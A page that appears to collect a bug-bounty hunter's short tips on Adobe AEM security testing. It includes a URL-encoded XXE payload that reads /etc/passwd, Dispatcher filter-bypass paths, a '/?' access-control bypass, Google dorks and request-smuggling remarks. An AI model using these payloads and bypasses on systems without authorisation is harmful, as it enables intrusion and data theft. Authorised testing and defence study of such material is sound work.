Cyber Crime NEWS

AEM guideContainer XXE? guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f><!DOCTYPE+afData+[<!ENTITY+a+SYSTEM+\"file%3a///etc/passwd\">]><afData>%26a%3b</afData>"}}} #AEMSecurity

[+] Using Google dorks for unique subdomains? Try this: site:*-*-*.yourtarget.com site:*-*.*.yourtarget.com site:*.*.*.yourtarget.com #bugbountytips #bugbountytip #AEMSecurity

[+] HTTP Request Smuggling: Recently while playing with HTTP Request Smuggling I came across an instance where the usual HTTP verbs e.g. POST, HEAD etc did not have any affect However using "TEST" as HTTP verb <--- worked and resulted in two different headers in the HTTP response anyone else experienced this ever? #bugbountytips #AEMSecurity #bugbountytip

[+] Dont ignore those out of scope domains! Recently, I saw an application. This domain was listed as out of scope unfortunately.. More recon on target assets, I noticed very same application hosted on an IP owned by the same org Result: 4 IDOR's, 4 SXSS's #bugbountytips

POC: https://targetdomain/api/endpoint <-- Access Denied https://targetdomain/api/endpoint/? <--- Access to entire customer database

[+] FIlter bypass techniques: Sometimes you can do amazing things just by appending /? to bypass access control restrictions ;) #AEMSecurity #FilterBypass #bugbountytips #bugbountytip

[+] Another awesome Adobe AEM Dispatcher filter bypass technique? oh okay Hunting for JSON GET Servlet on /content.1.json however result = 404? Try this: /conten/.1.json /conten/t.1.json /content.tidy.1.json /conten/.tidy.infinity.json #AEMSecurity #bugbountytips #pentesting

Amazed to see CVE-2016-0956 Apache Sling POST Servlet vulnerability discovered back in 2014 still works!!!!!! #AEMSecurity #bugbountytips #bugbountytips

#bugbounty Have you ever faced this situation where you thought it was a "CRIT" however triager declares it as a "LOW"??? youtube.com/watch?v=njO8mmr2…

[+] #bugbountytips You really need to analyze logs manually via "Logger" when Using Burp Suite. I confirmed 4 HTTP Request smuggling issues + 2 SSRF's and these issues were not flagged by Burp scanner so yup! see what I mean? #AEMSecurity #bugbountytip

[+] Exclusive! Thank you @salesforce #bugbountytips #swag